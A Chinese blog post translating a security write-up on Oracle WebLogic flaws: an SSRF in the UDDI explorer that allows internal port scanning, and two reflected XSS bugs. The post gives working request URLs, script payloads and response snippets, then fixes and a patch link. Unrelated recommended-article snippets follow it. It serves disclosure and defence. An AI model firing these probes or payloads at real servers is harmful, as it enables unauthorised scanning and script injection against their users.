WebLogic SSRF 及漏洞修复_cve-2014-4241-程序员宅基地

技术标签: 系统安全性和保密性  

原文:https://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html

SSRF漏洞,也称为XSPA(跨站端口攻击),问题存在于应用程序在加载用户提供的URL时,没能正确验证服务器的响应,然后就反馈回了客户端。攻击者可以利用该漏洞绕过访问限制(如防火墙),进而将受感染的服务器作为代理进行端口扫描,甚至访问系统中的数据。

 

CVE-2014-4210, Server Side Request Forgery in SerachPublicRegistries.jsp 版本10.0.2,10.3.6

Oracle WebLogic web server即可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口。

下面是一个没有服务监听TCP 23端口的例子:

 

https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://10.0.0.4:23&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&
selfor=Business+location&btnSubmit=Search

 

 

响应的片断如下:

 

weblogic.uddi.client.structures.exception.XML_SoapException: Connection refused

 

 

 

下面是一个有服务监听TCP 23端口的例子:

 

https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://10.0.0.4:22&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&
selfor=Business+location&btnSubmit=Search

 

 

 

响应片断如下:

 

weblogic.uddi.client.structures.exception.XML_SoapException: 
Received a response from url: http://10.0.0.4:22 which did not have a valid SOAP content-type: unknown/unknown.

 

 

 

可以利用这种功能来发现主机或对主机进行端口扫描。

 

CVE-2014-4241,Reflected Cross Site Scripting in SetupUDDIExploer.jsp 版本:10.0.2,10.3.6

用户输入映射到一个cookie值(有效期为1年!),这个值会以不安全的方式写入到之后的响应里,暴露给用户进行跨站脚本攻击。

恶意的URL:

 

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2)</script>&setPrivateRegistryInquiry=Set+Search+URL

响应会为cookier变量的privateregistry设值,并把浏览器重定向到SetupUDDIExplorer.jsp页面。

 

 

HTTP/1.1 302 Moved Temporarily
Location: https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp
Set-Cookie: privateinquiryurls=<script>alert(2)</script>; expires=Saturday, 29-Nov-2014 08:00:27 GMT
Content-Length: 331
Content-Type: text/html;charset=UTF-8

重定向的请求为:

 

 

GET /uddiexplorer/SetupUDDIExplorer.jsp HTTP/1.1
Host: [vulnerablehost]
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|
http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|
http://uddi.rte.microsoft.com/inquire!Microsoft|
http://services.xmethods.net/glue/inquire/uddi!XMethods|;
 privateinquiryurls=<script>alert(2)</script>; 
privatepublishurls=http://[vulnerablehost]:8080/uddi/uddilistener;
 consumer_display=HOME_VERSION%3d1%26FORGOT_BUTTON_ROLE%3d73; 
cookie_check=yes; LANG=en_US%3BUS; navlns=0.0;

那么响应的片断为(响应中包含了cookie值:privateinquiryurls):

 

 

<td valign=top width=1%></td>
<td valign=top width=70%>
  <p>
  <h2>Private Registry:</h2>
  <h3>Search URL: <b><script>alert(1)</script></b></h3>
  <H3>Publish URL: <b>http://[vulnerablehost]:8080/uddi/uddilistener</b></h3>
  </p>

 

 

 

这类URL的例子:

 

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2)</script>&setPrivateRegistryInquiry=Set+Search+URL

 

 

 

 

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2</script>&setPrivateRegistryPublish=Set+Publish+URL

 

 

 

 

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
publicregistryname=test&publicregistryurl=<script>alert(2)</script>&addPublicRegistry=Add+Public+Registry+URL

 

 

 

CVE-2014-4242,Reflected Cross Site Scriping in consolejndi.portal 版本:10.0.2,10.3.6,12.1.1,12.1.2.0.0

控制台应用试图去管理Weblogic 应用服务器,正常是不被暴露的,它的攻击目标是管理员。

 

这一类URL的例子1:

 

http://[vulnerablehost]:7001/console/consolejndi.portal?
_pageLabel=JNDIContextPageGeneral&_nfpb=true&JNDIContextPortlethandle=
com.bea.console.handles.JndiContextHandle("<script>alert(1)</script>")

 

 

 

响应片断:

 

<div class="contenttable"><div class="introText">
<p>Listing of entries found in context <script>alert(1)</script>:</p>
</div>

 

 

 

这一类URL2的例子:

 

http://[vulnerablehost]:7001/console/consolejndi.portal?
_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');alert(1)//

 

 

 

响应片断:

 

<script type="text/javascript">
document.write('<div class="JSTree">');
setBaseDirectory('/console/utils/JStree/images/');
setTaxonomyDelimeter('.');
{
_a = new TreeNode('server', null, 'myserver\u0027);
alert(4)//', '/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');
alert(1)//', 'images/spacer.gif', 'images/spacer.gif', null, 'myserver\u0027);alert(4)//', false, false);

 

 

 

 

 

 

修复建议:

1.如果业务不需要UDDI功能,就关闭这个功能。可以删除uddiexporer文件夹,可以可在/weblogicPath/server/lib/uddiexplorer.war解压后,注释掉上面的jsp再打包。

2.安装oracle的更新包。http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html

 

最后欢迎大家访问我的个人网站:1024s

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/CHS007chs/article/details/52514888

智能推荐

用python将基因id转换成基因名_pyensembl转换基因id-程序员宅基地

文章浏览阅读3.2k次。下载python包pyensembl,终端输入pip install pyensembl在使用pyensembl之前还要下载相关的Ensembl数据:pyensembl install --release <list of Ensembl release numbers> --species <species-name>eg.pyensembl insta..._pyensembl转换基因id

Git常用命令——回忆录_回忆录时间轴代码-程序员宅基地

文章浏览阅读205次。Git常用命令1.git配置2.初始化3.添加到暂存区4.暂存区中的修改提交到仓库5.查看状态6.查看提交日志7.添加一个新的远程仓库8.克隆云仓库9.拉取远程服务器origin(shortname)的master分支10.将本地仓库中最新历史推送到云仓库11.查看当前的远程仓库12.删除远程仓库13.从远程仓库下载新的分支与数据14.取消已缓存的内容15.从暂存区移除文件16.从Git中移除文件..._回忆录时间轴代码

Hadoop系列(二)HDFS常用操作,映射操作修改本地ip上传文件_需要将本地文件上传到服务器上hdfs 需要如何配置host文件-程序员宅基地

文章浏览阅读1.5k次。HDFS文件系统,用于存储文件,一次写入,多次读出操作大数据:以电商为例 记录日志,计算日志,根据日志预测优点:集群 好几台机器共同去存储这个日志。分成多块。容错性好(提高安全性,比如记录一年的日志信息服务器坏掉丢了,创建副本,服务器随机有一份或两份),可以处理大规模数据,服务器要求低缺点:数据访问低,大量小文件不容易存储,不支持并发写入副本机制NameNode:Master,管理者,管理HDFS命名空间,管理数据块,存放元数据,处理客户端读写请求DataNode:Slave,执行者,负责执行具_需要将本地文件上传到服务器上hdfs 需要如何配置host文件

LeetCode[stack]: Min Stack_leetcode stack with min-程序员宅基地

文章浏览阅读960次。Design a stack that supports push, pop, top, and retrieving the minimum element in constant time. - push(x) – Push element x onto stack. - pop() – Removes the element on top of the stack. - to_leetcode stack with min

jquery 加载显示loading图标_Vue实战:图片懒加载组件-程序员宅基地

文章浏览阅读257次。注意 : 文中 "加载区域" = 可视区域(父容器高度) * preload(用户使用时配置项中传入) = 可视区域(父容器高度) + 预加载区域 当访问页面时,如果一次性请求当前页面中的所有图片,会占用很大的资源。而图片懒加载所实现的功能,就是只加载用户加载区域的图片,而加载区域外的图片并不会进行资源请求,当页面滚动时会对当前加载区域的内容继续进行加载。其HTML加载过程如下: 已加载的图片为用..._jquery.alerts loading图标

Git团队开发流程_在git开发流程中,小组成员和小组长的开发流程是怎样的?-程序员宅基地

文章浏览阅读3.1k次,点赞3次,收藏8次。1.多人协助实现分为如下几个步骤:1.从裸服务器将版本库克隆至本地(git clone)2.本地常规操作克隆下来的版本库不允许在master分支上做修改,修改要切换到dev分支或者你自己新建的分支进行操作,切换分支操作git checkout 分支名、查看分支命令 git branch小组成员需要建立属于自己的分支,每个分支代表着开发不同的功能,一般线上每个版本maste..._在git开发流程中,小组成员和小组长的开发流程是怎样的?

随便推点

基于双月数据集单层感知机_python_双月数据集可以用感知机进行二分类吗-程序员宅基地

文章浏览阅读2.9k次,点赞4次,收藏12次。本文主要针对双月数据集实现二分类问题。_双月数据集可以用感知机进行二分类吗

Linux之grep命令、find命令详解_linux 中 find grep命令使用-程序员宅基地

文章浏览阅读706次。@Author : Spinach | GHB@Link : http://blog.csdn.net/bocai8058文章目录find命令find命令常用选项及实例find与xargs结合grep命令grep命令的一般选项及实例find命令find命令,又称文件查找命令。在一个目录(及子目录)中搜索文件,你可以指定一些匹配条件,如按文件名、文件类型、用户甚至是时间戳查找文..._linux 中 find grep命令使用

xcode~~XVim学习_xvim摄像头怎么设置-程序员宅基地

文章浏览阅读696次。公司其中有一个iOS程序员应用的XVim这个插件来编写程序,感觉到很方便,一下是自己学习的XVim的一些使用,不是全面的,但下面的命令本人都实际操作了一遍。有问题或者不全的话,求大神多多指教,在这里谢谢大家了一。 vi基本上分为四种状态 Command mode:Vim的缺省模式,在该模式下运行命令。 Insert mode:在该模式下插入/写文本。_xvim摄像头怎么设置

详解LVDS通信协议_lvds协议-程序员宅基地

文章浏览阅读2.3w次,点赞30次,收藏371次。目录LVDS概述LVDS接口电路的组成LVDS输出接口电路类型单路6位LVDS输出接口双路6位LVDS输出接口单路8位1TL输出接口双路8位1TL输出位接口典型LVDS发送芯片介绍四通道LVDS发送芯片五通道LVDS发送芯片十通道LVDS发送芯片LVDS发送芯片的输入信号①数据信号②输入时钟信号③待机控制信号(POWER DOWN)④数据取样点选择信号LVDS发送芯片的输出信号①时钟信号输出②LVDS串行数据信号输出LVDS发送芯片输出信号的格式单路6bit双路6bit单路8bit双路8bitLVDS概述_lvds协议

基于JSP+SSM+Springboot的毕业生信息招聘平台【毕业论文+源码】_基于ssm招聘网站论文-程序员宅基地

文章浏览阅读1.4k次。随着社会的快速发展,计算机的影响是全面且深入的。人们的生活水平不断提高,日常生活中毕业生对招聘平台方面的要求也在不断提高,需要招聘平台的人数更是不断增加,使得毕业生信息招聘平台的开发成为必需而且紧迫的事情。毕业生信息招聘平台主要是借助计算机,通过对毕业生信息招聘平台所需的信息管理,增加毕业生选择,同时也方便对广大招聘平台的及时查询、修改以及对毕业生信息的及时了解。毕业生信息招聘平台对毕业生带来了更多的便利, 该系统通过和数据库管理系统软件协作来满足毕业生的需求。_基于ssm招聘网站论文

像电影里黑客高手一样敲代码攻击入侵网站(模拟)_htt://hackcode.ishoulucom/blackmesa/-程序员宅基地

文章浏览阅读2.1w次,点赞6次,收藏16次。我们常常会在一些好莱坞电影大片里看到超级黑客高手,在电脑前轻松“黑”进别人的安全系统的场景。那纯熟自如地输入一大堆复杂的代码,不一下子就入侵/破解完成,其实这些网址就能帮你实现你的黑客演义梦http://hackcode.ishoulu.com/scp/http://hackcode.ishoulu.com/combine/http://hackcode.ishoulu.com/bla_htt://hackcode.ishoulucom/blackmesa/